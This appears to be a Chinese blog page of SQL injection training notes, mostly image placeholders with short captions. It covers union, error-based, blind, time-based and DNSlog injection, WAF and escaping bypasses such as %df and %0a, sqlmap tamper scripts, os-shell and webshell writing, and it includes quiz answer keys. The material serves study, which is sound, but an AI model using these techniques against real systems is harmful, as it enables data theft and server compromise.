Hash是把任意长度的输入通过散列算法变换成固定长度的输出,该输出就是散列值

渗透测试-注入攻击专题_第297张图片
渗透测试-注入攻击专题_第298张图片
渗透测试-注入攻击专题_第299张图片渗透测试-注入攻击专题_第300张图片渗透测试-注入攻击专题_第301张图片渗透测试-注入攻击专题_第302张图片渗透测试-注入攻击专题_第303张图片bp 用在 时间 布尔 盲注 比较多

渗透测试-注入攻击专题_第304张图片渗透测试-注入攻击专题_第305张图片渗透测试-注入攻击专题_第306张图片渗透测试-注入攻击专题_第307张图片进行 简单的 逻辑 判断
渗透测试-注入攻击专题_第308张图片渗透测试-注入攻击专题_第309张图片联合查询 之前 判断 字段 长度
渗透测试-注入攻击专题_第310张图片渗透测试-注入攻击专题_第311张图片渗透测试-注入攻击专题_第312张图片渗透测试-注入攻击专题_第313张图片
渗透测试-注入攻击专题_第314张图片渗透测试-注入攻击专题_第315张图片渗透测试-注入攻击专题_第316张图片渗透测试-注入攻击专题_第317张图片渗透测试-注入攻击专题_第318张图片渗透测试-注入攻击专题_第319张图片渗透测试-注入攻击专题_第320张图片渗透测试-注入攻击专题_第321张图片渗透测试-注入攻击专题_第322张图片渗透测试-注入攻击专题_第323张图片渗透测试-注入攻击专题_第324张图片

在这里插入图片描述渗透测试-注入攻击专题_第325张图片渗透测试-注入攻击专题_第326张图片渗透测试-注入攻击专题_第327张图片
多条数据 group_concat 粘在一起显示

渗透测试-注入攻击专题_第328张图片渗透测试-注入攻击专题_第329张图片渗透测试-注入攻击专题_第330张图片

信息收集

渗透测试-注入攻击专题_第331张图片

mysql 提权 不可以直接 执行 系统 命令

通过 读写文件 进行 提权
渗透测试-注入攻击专题_第332张图片渗透测试-注入攻击专题_第333张图片在这里插入图片描述渗透测试-注入攻击专题_第334张图片
渗透测试-注入攻击专题_第335张图片文件 php 格式 在页面 显示不出来 在源码里 可看

读 数据库 配置 密码
系统配置文件
渗透测试-注入攻击专题_第336张图片权限文件 系统信息 注意 权限大小

写入 webshell 到 目录 提权

渗透测试-注入攻击专题_第337张图片

不能 创建 写文件

权限不够

渗透测试-注入攻击专题_第338张图片
实在不行 就 换个不需要文件权限的

权限 可以 就 能写入 目标目录

  • 实验测试——SQL注入漏洞原理及防范-上

漏洞介绍:

    SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,
    它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,
    我们首先要对他的原理进行了解。
    
    SQL注入(SQLInjection)是这样一种漏洞:
    当我们的Web app在向后台数据库传递SQL语句进行数据库操作时。
    如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,
    直接输入数据库引擎执行,获取或修改数据库中的数据。

漏洞危害:

  • 直接就造成数据库中的数据泄露
  • 如果数据库连接用户具备高权限,则可能导致恶意访问者获取服务器控制
  • 众多安全事件的切入点。

实验环境工具介绍:

  • 火狐浏览器

HackBar:
一款Firefox浏览器下的黑客插件
Sql注入以及Xss测试或进行各种编码功能等。
在火狐的附加组件中搜索“hackbar”,将它添加到火狐浏览器中, 重启后Firefox后安装完成,按F9键打开我们就会看到在地址栏下面会出现一个大框框就是hackbar了。
安装完后,打开火狐浏览器,在工具=》附加组件里搜索“HackBar”并安装,如下图:

渗透测试-注入攻击专题_第339张图片
安装完后,重启一下火狐浏览器才会生效

渗透测试-注入攻击专题_第340张图片

重启完后,打开百度,你会发现标签栏处多了一些工具条,它就是HackBar插件,
首次打开是开启的,可以通过F9来切换工具条是否显示与隐藏。
我们可以点击Load URL将URL栏的地址加载到HackBar窗口中,
可以利用HackBar工具栏提供了很多web开发相关的命令,像urlencode,urldecode等常见命令。

渗透测试-注入攻击专题_第341张图片

  • 实验测试——SQLmap工具的使用-SQLmap初步

实验目的:

  • 学习使用SQLmap进行注入点判断
  • 学习使用SQLmap注入出数据

实验工具:

  • SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本部分学习使用SQLmap进行简单的注入点判断并注入出数据。

第二章:SQL注入语法类型

2.1 union联合查询注入

渗透测试-注入攻击专题_第342张图片渗透测试-注入攻击专题_第343张图片渗透测试-注入攻击专题_第344张图片

insert update 都不可以使用 union
渗透测试-注入攻击专题_第345张图片渗透测试-注入攻击专题_第346张图片渗透测试-注入攻击专题_第347张图片渗透测试-注入攻击专题_第348张图片渗透测试-注入攻击专题_第349张图片
orderby 对第几列 进行排序

在这里插入图片描述

渗透测试-注入攻击专题_第350张图片
渗透测试-注入攻击专题_第351张图片

’ 闭合 单引号

–+ 注释掉 后面的 单引号

渗透测试-注入攻击专题_第352张图片
union 内部 的 select 语句 必须 有 相同的 列

渗透测试-注入攻击专题_第353张图片
渗透测试-注入攻击专题_第354张图片
union 把两个 select 结果集 结合到 一块
渗透测试-注入攻击专题_第355张图片
二分法 查询列长度

渗透测试-注入攻击专题_第356张图片 渗透测试-注入攻击专题_第357张图片在这里插入图片描述
select 语句 可以嵌套

渗透测试-注入攻击专题_第358张图片渗透测试-注入攻击专题_第359张图片渗透测试-注入攻击专题_第360张图片渗透测试-注入攻击专题_第361张图片渗透测试-注入攻击专题_第362张图片渗透测试-注入攻击专题_第363张图片渗透测试-注入攻击专题_第364张图片渗透测试-注入攻击专题_第365张图片渗透测试-注入攻击专题_第366张图片渗透测试-注入攻击专题_第367张图片渗透测试-注入攻击专题_第368张图片

2.2 报错注入

渗透测试-注入攻击专题_第369张图片渗透测试-注入攻击专题_第370张图片渗透测试-注入攻击专题_第371张图片渗透测试-注入攻击专题_第372张图片渗透测试-注入攻击专题_第373张图片渗透测试-注入攻击专题_第374张图片渗透测试-注入攻击专题_第375张图片渗透测试-注入攻击专题_第376张图片
渗透测试-注入攻击专题_第377张图片渗透测试-注入攻击专题_第378张图片渗透测试-注入攻击专题_第379张图片渗透测试-注入攻击专题_第380张图片渗透测试-注入攻击专题_第381张图片渗透测试-注入攻击专题_第382张图片渗透测试-注入攻击专题_第383张图片渗透测试-注入攻击专题_第384张图片渗透测试-注入攻击专题_第385张图片
进行匹配 波浪号 账号密码
渗透测试-注入攻击专题_第386张图片渗透测试-注入攻击专题_第387张图片
渗透测试-注入攻击专题_第388张图片渗透测试-注入攻击专题_第389张图片渗透测试-注入攻击专题_第390张图片在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

构造 非法 xpath 值

渗透测试-注入攻击专题_第391张图片

渗透测试-注入攻击专题_第392张图片
方便 快速 脚本 正则匹配

渗透测试-注入攻击专题_第393张图片渗透测试-注入攻击专题_第394张图片渗透测试-注入攻击专题_第395张图片注意 报错 返回的 长度 32位

渗透测试-注入攻击专题_第396张图片渗透测试-注入攻击专题_第397张图片渗透测试-注入攻击专题_第398张图片
将数据 截取

渗透测试-注入攻击专题_第399张图片dumb

实验地址:实验测试——SQLmap工具的使用-POST注入

实验目的:
学习使用SQLmap工具进行注入POST类型的SQL注入点。

实验工具:

SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本次实验将使用SQLmap工具进行注入POST类型的SQL注入点。

实验地址:实验测试——SQLmap工具的使用-cookie注入

实验目的:
学习使用SQLmap工具进行注入cookie类型的SQL注入点。
实验工具:
SQLmap
SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本实验将使用SQLmap工具进行注入cookie类型的SQL注入点。

检测二

答案:
1、解析: D、首先要构造语句,让正常的数据无法返回,这里选择id=-1,接着要构造显示内容,3,5,8,7,4让这些数字显示在对应位置,这里只要没用相同的数字,我们就能判断出每个数字所代表的唯一位置,从而判断出哪里回显数据。
2、解析: A、通过union select的长度,可以判断出返回数据的列,通过user(),可以直接显示当前数据的用户名,通过(select database())可以查询出当前数据库的库名称并返回。
3、解析: C、updatexml接收3个参数,第一个XML文档,第二个xpath语句,第三是要替换成为的字符串。
4、解析: C、报错注入的关键就是要显示错误语句,如果不显示,我们就不能通过报错看到内容。
5、解析: A、只要数据库触发到了报错语句,就会产生报错,并将报错信息显示到页面上。

实验地址:实验测试——SQLmap工具的使用-执行SQL命令

实验目的:

学习通过SQLmap工具执行SQL命令的几种不同的方式。

实验工具:

SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

学习通过SQLmap工具执行SQL命令的几种不同的方式:

1.执行指定的SQL语句
2.交互式的SQL命令行
3.执行文件中的SQL语句

第三章:SQL 盲注

布尔盲注

渗透测试-注入攻击专题_第400张图片渗透测试-注入攻击专题_第401张图片 渗透测试-注入攻击专题_第402张图片渗透测试-注入攻击专题_第403张图片渗透测试-注入攻击专题_第404张图片渗透测试-注入攻击专题_第405张图片渗透测试-注入攻击专题_第406张图片渗透测试-注入攻击专题_第407张图片渗透测试-注入攻击专题_第408张图片单引号 反义 导致 注入失败
转成 数字 比对 避免 单引号 出现

渗透测试-注入攻击专题_第409张图片渗透测试-注入攻击专题_第410张图片渗透测试-注入攻击专题_第411张图片渗透测试-注入攻击专题_第412张图片在这里插入图片描述渗透测试-注入攻击专题_第413张图片渗透测试-注入攻击专题_第414张图片渗透测试-注入攻击专题_第415张图片渗透测试-注入攻击专题_第416张图片渗透测试-注入攻击专题_第417张图片渗透测试-注入攻击专题_第418张图片渗透测试-注入攻击专题_第419张图片渗透测试-注入攻击专题_第420张图片渗透测试-注入攻击专题_第421张图片渗透测试-注入攻击专题_第422张图片
猜出 email

更换 别的 表
渗透测试-注入攻击专题_第423张图片猜解 ref 不像是 数据

渗透测试-注入攻击专题_第424张图片猜解 uag
渗透测试-注入攻击专题_第425张图片猜解 user
users 都一样
渗透测试-注入攻击专题_第426张图片
a-z 下划线 0-9

渗透测试-注入攻击专题_第427张图片渗透测试-注入攻击专题_第428张图片渗透测试-注入攻击专题_第429张图片判断 列 名

渗透测试-注入攻击专题_第430张图片渗透测试-注入攻击专题_第431张图片渗透测试-注入攻击专题_第432张图片渗透测试-注入攻击专题_第433张图片渗透测试-注入攻击专题_第434张图片
改变 limit 值 对 第二列 测试

渗透测试-注入攻击专题_第435张图片渗透测试-注入攻击专题_第436张图片渗透测试-注入攻击专题_第437张图片渗透测试-注入攻击专题_第438张图片渗透测试-注入攻击专题_第439张图片渗透测试-注入攻击专题_第440张图片
渗透测试-注入攻击专题_第441张图片渗透测试-注入攻击专题_第442张图片渗透测试-注入攻击专题_第443张图片渗透测试-注入攻击专题_第444张图片
渗透测试-注入攻击专题_第445张图片 渗透测试-注入攻击专题_第446张图片渗透测试-注入攻击专题_第447张图片渗透测试-注入攻击专题_第448张图片

ASCII 0-127

48 - 0
122 - Z

渗透测试-注入攻击专题_第449张图片
渗透测试-注入攻击专题_第450张图片
渗透测试-注入攻击专题_第451张图片
渗透测试-注入攻击专题_第452张图片渗透测试-注入攻击专题_第453张图片在这里插入图片描述

3.2 SQL盲注-时间注入

判断 页面 返回 真与假 识别 数据库 中 的 信息
渗透测试-注入攻击专题_第454张图片
通过 返回 时间 的 快慢 来 识别 数据库 中 的 信息

没有 回显 真假
只是 构造语句 分析时长

登录场景

渗透测试-注入攻击专题_第455张图片

注入语法

渗透测试-注入攻击专题_第456张图片渗透测试-注入攻击专题_第457张图片
无论怎样 都是 一个页面

渗透测试-注入攻击专题_第458张图片渗透测试-注入攻击专题_第459张图片渗透测试-注入攻击专题_第460张图片渗透测试-注入攻击专题_第461张图片渗透测试-注入攻击专题_第462张图片

  • if left 时间盲注

渗透测试-注入攻击专题_第463张图片渗透测试-注入攻击专题_第464张图片

  • 时间盲注 小脚本

渗透测试-注入攻击专题_第465张图片渗透测试-注入攻击专题_第466张图片渗透测试-注入攻击专题_第467张图片渗透测试-注入攻击专题_第468张图片渗透测试-注入攻击专题_第469张图片渗透测试-注入攻击专题_第470张图片渗透测试-注入攻击专题_第471张图片 渗透测试-注入攻击专题_第472张图片

3.3 Dnslog盲注

渗透测试-注入攻击专题_第473张图片

  • DNS

渗透测试-注入攻击专题_第474张图片
服务器上 的应用 对外 开放 服务

公网ip:端口 ----- 对应功能

引入 dns
渗透测试-注入攻击专题_第475张图片

  • DNS Server 存储 用户 访问的 域名 信息渗透测试-注入攻击专题_第476张图片

渗透测试-注入攻击专题_第477张图片
布尔 时间 盲注 猜字游戏
效率比较低 也容易 触发 防护

渗透测试-注入攻击专题_第478张图片UA
User-Agent会告诉网站服务器,访问者是通过什么工具来请求的
中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,
User Agent也简称UA。
它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。
通过这个标识,
用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;

渗透测试-注入攻击专题_第479张图片

  • dns log 平台

渗透测试-注入攻击专题_第480张图片 渗透测试-注入攻击专题_第481张图片渗透测试-注入攻击专题_第482张图片渗透测试-注入攻击专题_第483张图片渗透测试-注入攻击专题_第484张图片渗透测试-注入攻击专题_第485张图片渗透测试-注入攻击专题_第486张图片在这里插入图片描述
渗透测试-注入攻击专题_第487张图片

  • dnslog 盲注 目标 一定是 windows操作系统

渗透测试-注入攻击专题_第488张图片渗透测试-注入攻击专题_第489张图片
渗透测试-注入攻击专题_第490张图片渗透测试-注入攻击专题_第491张图片渗透测试-注入攻击专题_第492张图片

渗透测试-注入攻击专题_第493张图片
在这里插入图片描述渗透测试-注入攻击专题_第494张图片渗透测试-注入攻击专题_第495张图片渗透测试-注入攻击专题_第496张图片渗透测试-注入攻击专题_第497张图片渗透测试-注入攻击专题_第498张图片渗透测试-注入攻击专题_第499张图片渗透测试-注入攻击专题_第500张图片
渗透测试-注入攻击专题_第501张图片渗透测试-注入攻击专题_第502张图片
渗透测试-注入攻击专题_第503张图片渗透测试-注入攻击专题_第504张图片在这里插入图片描述渗透测试-注入攻击专题_第505张图片渗透测试-注入攻击专题_第506张图片

  • dns 记录 不可以 用 ~ 等 特殊符号

渗透测试-注入攻击专题_第507张图片
构造语句

  • 用 哈希 查看完 再 哈希 回来

渗透测试-注入攻击专题_第508张图片渗透测试-注入攻击专题_第509张图片渗透测试-注入攻击专题_第510张图片

工程化 注入
速度快 效率高 人为参与 少
渗透测试-注入攻击专题_第511张图片渗透测试-注入攻击专题_第512张图片
定义 查询数据 的 语句
数据库
表名
获取数据

渗透测试-注入攻击专题_第513张图片
渗透测试-注入攻击专题_第514张图片渗透测试-注入攻击专题_第515张图片渗透测试-注入攻击专题_第516张图片
执行 payload

渗透测试-注入攻击专题_第517张图片
对 dnslog 平台的 接口 进行 访问
渗透测试-注入攻击专题_第518张图片渗透测试-注入攻击专题_第519张图片

入口处 接收 参数

渗透测试-注入攻击专题_第520张图片渗透测试-注入攻击专题_第521张图片渗透测试-注入攻击专题_第522张图片
渗透测试-注入攻击专题_第523张图片渗透测试-注入攻击专题_第524张图片渗透测试-注入攻击专题_第525张图片渗透测试-注入攻击专题_第526张图片渗透测试-注入攻击专题_第527张图片渗透测试-注入攻击专题_第528张图片渗透测试-注入攻击专题_第529张图片
渗透测试-注入攻击专题_第530张图片
识别 随机串
渗透测试-注入攻击专题_第531张图片
渗透测试-注入攻击专题_第532张图片在这里插入图片描述渗透测试-注入攻击专题_第533张图片
渗透测试-注入攻击专题_第534张图片渗透测试-注入攻击专题_第535张图片
渗透测试-注入攻击专题_第536张图片
渗透测试-注入攻击专题_第537张图片

渗透测试-注入攻击专题_第538张图片渗透测试-注入攻击专题_第539张图片
在这里插入图片描述
渗透测试-注入攻击专题_第540张图片在这里插入图片描述

答案:
1、解析: B、页面依据提交的数据,返回不同的内容,但是不回直接显示数据库中的信息,此处如果存在SQL注入,必然是盲注
2、解析: B、在所有类型的注入点,都可以使用时间盲注。
3、解析: A、依据题意可知,当前库名称的第一位的ASCII码为115,既s。
4、解析: B、load_file函数在Linux下是无法用来做dnslog攻击的。
5、解析: A、ABC都是dnslog盲注的特点。

第四章:SQL注入防御绕过

4.1 宽字节注入

常规 + web/mysql/php 一些方法 注入
渗透测试-注入攻击专题_第541张图片
在这里插入图片描述
英文 一个字节
中文 两个字节 默认

A-Z 48种

一个字节 8bit位 二进制
01组合种类 255种

一个字节 表示 中文字符 255不够

16bit来表示

渗透测试-注入攻击专题_第542张图片

安全编码 特殊符号 转义 防止 恶意注入

渗透测试-注入攻击专题_第543张图片

 url编码,网址字符串
 浏览器自动对中文和一些特殊字符转码,形式为:"%二位十六进制数",
 代表一个字节,如果是中文是2个字节,
 就需要两个%。如果没有自动转码,就要自己转,比如js中有escape和encodeURI,
 在接收这样字符串的程序中如需还原成中文,就分别用unescape和decodeURI。
 其他程序语言中都有相应的url字符转码函数。

渗透测试-注入攻击专题_第544张图片
渗透测试-注入攻击专题_第545张图片渗透测试-注入攻击专题_第546张图片渗透测试-注入攻击专题_第547张图片渗透测试-注入攻击专题_第548张图片
字符替换 SQL注入防护

  • gbk编码连接
    渗透测试-注入攻击专题_第549张图片渗透测试-注入攻击专题_第550张图片渗透测试-注入攻击专题_第551张图片渗透测试-注入攻击专题_第552张图片
    渗透测试-注入攻击专题_第553张图片在这里插入图片描述

联合查询
报错 / 直接页面显示
渗透测试-注入攻击专题_第554张图片 渗透测试-注入攻击专题_第555张图片
渗透测试-注入攻击专题_第556张图片
渗透测试-注入攻击专题_第557张图片
在这里插入图片描述
渗透测试-注入攻击专题_第558张图片
在这里插入图片描述
渗透测试-注入攻击专题_第559张图片渗透测试-注入攻击专题_第560张图片
渗透测试-注入攻击专题_第561张图片
渗透测试-注入攻击专题_第562张图片在这里插入图片描述
渗透测试-注入攻击专题_第563张图片
渗透测试-注入攻击专题_第564张图片在这里插入图片描述
渗透测试-注入攻击专题_第565张图片
渗透测试-注入攻击专题_第566张图片
php 内置函数

渗透测试-注入攻击专题_第567张图片

  • 宽字节防御

用utf-8 彻底杜绝
在这里插入图片描述
在这里插入图片描述

使用二进制 数据库连接

在这里插入图片描述
渗透测试-注入攻击专题_第568张图片

4.2 二次编码注入

渗透测试-注入攻击专题_第569张图片
渗透测试-注入攻击专题_第570张图片
防止发生歧义

在这里插入图片描述

各个语言 都有 自己的 解码工具类

渗透测试-注入攻击专题_第571张图片
渗透测试-注入攻击专题_第572张图片
渗透测试-注入攻击专题_第573张图片
渗透测试-注入攻击专题_第574张图片渗透测试-注入攻击专题_第575张图片渗透测试-注入攻击专题_第576张图片渗透测试-注入攻击专题_第577张图片渗透测试-注入攻击专题_第578张图片
渗透测试-注入攻击专题_第579张图片
构造错误
渗透测试-注入攻击专题_第580张图片渗透测试-注入攻击专题_第581张图片
渗透测试-注入攻击专题_第582张图片
渗透测试-注入攻击专题_第583张图片

4.3 二次注入

渗透测试-注入攻击专题_第584张图片渗透测试-注入攻击专题_第585张图片
渗透测试-注入攻击专题_第586张图片
渗透测试-注入攻击专题_第587张图片
认为数据库 中 可信

渗透测试-注入攻击专题_第588张图片渗透测试-注入攻击专题_第589张图片渗透测试-注入攻击专题_第590张图片渗透测试-注入攻击专题_第591张图片
在这里插入图片描述

重置数据库

渗透测试-注入攻击专题_第592张图片渗透测试-注入攻击专题_第593张图片渗透测试-注入攻击专题_第594张图片
在这里插入图片描述
经过 php 方法 特殊字符 转义

渗透测试-注入攻击专题_第595张图片

渗透测试-注入攻击专题_第596张图片渗透测试-注入攻击专题_第597张图片渗透测试-注入攻击专题_第598张图片渗透测试-注入攻击专题_第599张图片
渗透测试-注入攻击专题_第600张图片
渗透测试-注入攻击专题_第601张图片渗透测试-注入攻击专题_第602张图片在这里插入图片描述
渗透测试-注入攻击专题_第603张图片
渗透测试-注入攻击专题_第604张图片

  • mysql_real_eacape_string() 特殊字符转义
    渗透测试-注入攻击专题_第605张图片渗透测试-注入攻击专题_第606张图片渗透测试-注入攻击专题_第607张图片
    渗透测试-注入攻击专题_第608张图片
    渗透测试-注入攻击专题_第609张图片在这里插入图片描述
    渗透测试-注入攻击专题_第610张图片
    在这里插入图片描述
    渗透测试-注入攻击专题_第611张图片
    渗透测试-注入攻击专题_第612张图片渗透测试-注入攻击专题_第613张图片
    渗透测试-注入攻击专题_第614张图片
    在这里插入图片描述
    渗透测试-注入攻击专题_第615张图片渗透测试-注入攻击专题_第616张图片
    渗透测试-注入攻击专题_第617张图片
    渗透测试-注入攻击专题_第618张图片
    渗透测试-注入攻击专题_第619张图片
    在这里插入图片描述
    渗透测试-注入攻击专题_第620张图片
    渗透测试-注入攻击专题_第621张图片
    渗透测试-注入攻击专题_第622张图片
    渗透测试-注入攻击专题_第623张图片
    渗透测试-注入攻击专题_第624张图片
    渗透测试-注入攻击专题_第625张图片
    渗透测试-注入攻击专题_第626张图片
    渗透测试-注入攻击专题_第627张图片
    渗透测试-注入攻击专题_第628张图片

二次注入防御:外部提交的数据 进行谨慎对待 (不仅仅是 特殊字符转义)

渗透测试-注入攻击专题_第629张图片

  • 默认 从数据库 中查询到的 数据 就是 安全的

渗透测试-注入攻击专题_第630张图片
windows 环境 – 其他环境 也可以 考虑 dnslog注入

linux 只能 使用 二次注入

4.4 WAF绕过原理分析

防护:代码层、网络层、服务器层

  • waf 网站应用级入侵防御系统。英文:Web Application Firewall

渗透测试-注入攻击专题_第631张图片
渗透测试-注入攻击专题_第632张图片

  • 了解 中间件 机制 iis tomcat nginx
    渗透测试-注入攻击专题_第633张图片
  • preg_replace() + i 忽略大小写

在这里插入图片描述渗透测试-注入攻击专题_第634张图片
渗透测试-注入攻击专题_第635张图片
渗透测试-注入攻击专题_第636张图片
渗透测试-注入攻击专题_第637张图片
在这里插入图片描述
中间件 和 waf 的 区别 进行 污染
渗透测试-注入攻击专题_第638张图片
渗透测试-注入攻击专题_第639张图片

  • 能够注入

  • waf 规则 匹配不到的 数据格式

  • %25 为 %

渗透测试-注入攻击专题_第640张图片
渗透测试-注入攻击专题_第641张图片
渗透测试-注入攻击专题_第642张图片
渗透测试-注入攻击专题_第643张图片渗透测试-注入攻击专题_第644张图片

渗透测试-注入攻击专题_第645张图片
渗透测试-注入攻击专题_第646张图片

  • %20

渗透测试-注入攻击专题_第647张图片
渗透测试-注入攻击专题_第648张图片
渗透测试-注入攻击专题_第649张图片
渗透测试-注入攻击专题_第650张图片
渗透测试-注入攻击专题_第651张图片
渗透测试-注入攻击专题_第652张图片

  • 挑一个 可以注入的

渗透测试-注入攻击专题_第653张图片渗透测试-注入攻击专题_第654张图片
渗透测试-注入攻击专题_第655张图片
渗透测试-注入攻击专题_第656张图片

  • 把空格 全部替换
    确定 页面 只有 三列
    渗透测试-注入攻击专题_第657张图片
    渗透测试-注入攻击专题_第658张图片
    渗透测试-注入攻击专题_第659张图片
    渗透测试-注入攻击专题_第660张图片

  • 分割

在这里插入图片描述
渗透测试-注入攻击专题_第661张图片

渗透测试-注入攻击专题_第662张图片
渗透测试-注入攻击专题_第663张图片

4.5 SQLmap绕过WAF脚本编写

应对waf时 定制化 payload 继续注入

渗透测试-注入攻击专题_第664张图片
渗透测试-注入攻击专题_第665张图片

sqlmap 介绍

渗透测试-注入攻击专题_第666张图片在这里插入图片描述

  • 指明对 哪一个参数 进行测试 -d
    在这里插入图片描述
    id = 1 后 键入 *
  • 在一些 伪静态场景很好用
    渗透测试-注入攻击专题_第667张图片
  • –dbs 列出所有库 的名称
    渗透测试-注入攻击专题_第668张图片
执行系统命令 -os-shell

sqlserver sa用户 --> 调用 SqlServer系统内置函数---->执行命令
mysql (前提知道网站所在目录)写入后门文件到目录 —>执行系统命令
渗透测试-注入攻击专题_第669张图片
执行 sql语句 -sql-shell
输入 sql 语句

读文件 + 路径
写文件 + 本地文件 --file-dest 目标及文件

Tamper脚本介绍

渗透测试-注入攻击专题_第670张图片
渗透测试-注入攻击专题_第671张图片

编写Tamper

渗透测试-注入攻击专题_第672张图片
渗透测试-注入攻击专题_第673张图片
渗透测试-注入攻击专题_第674张图片
渗透测试-注入攻击专题_第675张图片
在这里插入图片描述
渗透测试-注入攻击专题_第676张图片
渗透测试-注入攻击专题_第677张图片

  • PHP函数 preg_replace
    渗透测试-注入攻击专题_第678张图片

\s 空白字符
\t 换行符

渗透测试-注入攻击专题_第679张图片

  • 刷新 重新开始 --flush-session
    渗透测试-注入攻击专题_第680张图片
    在这里插入图片描述
    在这里插入图片描述
  • union all select
    渗透测试-注入攻击专题_第681张图片
    渗透测试-注入攻击专题_第682张图片
  • %a0换行符 空格
  • %0a 空格

渗透测试-注入攻击专题_第683张图片渗透测试-注入攻击专题_第684张图片
渗透测试-注入攻击专题_第685张图片
渗透测试-注入攻击专题_第686张图片

渗透测试-注入攻击专题_第687张图片
渗透测试-注入攻击专题_第688张图片
渗透测试-注入攻击专题_第689张图片
渗透测试-注入攻击专题_第690张图片

答案:

1、解析: C、注解:很显然,utf-8并不是宽字节。
2、解析: B、注解:键入%df,尝试于转义字符\进行组合,形成汉字字符。
3、解析: C、注解:B,使用强校验,防御所有可能的恶意语句,可以有效避免SQL注入。
4、解析: D、注解:云WAF一班都有较好的防护性能和较强的防护规则,期望构造语句进行绕过可能存在困难,我们选择寻找真实的IP,就能一劳永逸的绕过防护,当然,这也只是应用在一些场景。
5、解析: B、注解:replace函数的格式为A

第五章:MsSQL数据库注入

5.1 MsSQL数据库环境搭建

渗透测试-注入攻击专题_第691张图片

  • mssql 数据库 特性
    asp.net + mssql
    渗透测试-注入攻击专题_第692张图片

  • sqlserver
    渗透测试-注入攻击专题_第693张图片

  • 权限配置 对整个服务器造成隐患

绕过 注入流程 与 mysql 没什么区别

  • 数据库结构
  • 函数名
  • 数据操作语言
  • 存储过程

在这里插入图片描述
渗透测试-注入攻击专题_第694张图片

  • 数据默认存放目录

  • 身份验证 windows(SQLserver 不参加验证) / 混合 (或)验证

  • SA 是 SqlServer最高权限-超级管理员 登录需要密码

  • 密码复杂 有要求
    渗透测试-注入攻击专题_第695张图片
    登录后
    渗透测试-注入攻击专题_第696张图片
    渗透测试-注入攻击专题_第697张图片

  • 带 ## 有证书 创建 在SqlServer 内部使用

  • 映射一个 win系统账户

  • NT 也是 内置账户 实现 特使功能 mssql server

  • 渗透测试-注入攻击专题_第698张图片
    渗透测试-注入攻击专题_第699张图片

  • 两层 并行 安全架构 权限

sysadmin
public

渗透测试-注入攻击专题_第700张图片

db_owner DBO
public

渗透测试-注入攻击专题_第701张图片
渗透测试-注入攻击专题_第702张图片
渗透测试-注入攻击专题_第703张图片
渗透测试-注入攻击专题_第704张图片

  • sqlserver SID 安全标识符

TSQL 数据操作语言

渗透测试-注入攻击专题_第705张图片
在这里插入图片描述在这里插入图片描述

渗透测试-注入攻击专题_第706张图片
创建更复杂的 存储过程

渗透测试-注入攻击专题_第707张图片
master 一切对象 信息 sa 和其他账号的 密码
model 创建用户 数据库 的模板
msdb 用户数据库 任务调度 告警 操作 元信息
tempdb 临时数据库 数据库 重启 丢失

渗透测试-注入攻击专题_第708张图片
新建数据库用户
渗透测试-注入攻击专题_第709张图片
渗透测试-注入攻击专题_第710张图片
DML 管理语句
DDL 修改数据库结构
DCL 授权语句

渗透测试-注入攻击专题_第711张图片
渗透测试-注入攻击专题_第712张图片
渗透测试-注入攻击专题_第713张图片
只是一个视图 并没有这个表

从 视图里 查询

渗透测试-注入攻击专题_第714张图片

iis 服务器组件

渗透测试-注入攻击专题_第715张图片
渗透测试-注入攻击专题_第716张图片渗透测试-注入攻击专题_第717张图片
渗透测试-注入攻击专题_第718张图片
渗透测试-注入攻击专题_第719张图片
渗透测试-注入攻击专题_第720张图片
渗透测试-注入攻击专题_第721张图片
渗透测试-注入攻击专题_第722张图片
渗透测试-注入攻击专题_第723张图片
添加 iis user

渗透测试-注入攻击专题_第724张图片
渗透测试-注入攻击专题_第725张图片
渗透测试-注入攻击专题_第726张图片
数据连接 在 webconfig设置

  • index.aspx

渗透测试-注入攻击专题_第727张图片渗透测试-注入攻击专题_第728张图片
渗透测试-注入攻击专题_第729张图片
渗透测试-注入攻击专题_第730张图片
渗透测试-注入攻击专题_第731张图片
添加这个控件 自动生成 ConnectionStrings 连接 需要

渗透测试-注入攻击专题_第732张图片
渗透测试-注入攻击专题_第733张图片
渗透测试-注入攻击专题_第734张图片
渗透测试-注入攻击专题_第735张图片
渗透测试-注入攻击专题_第736张图片
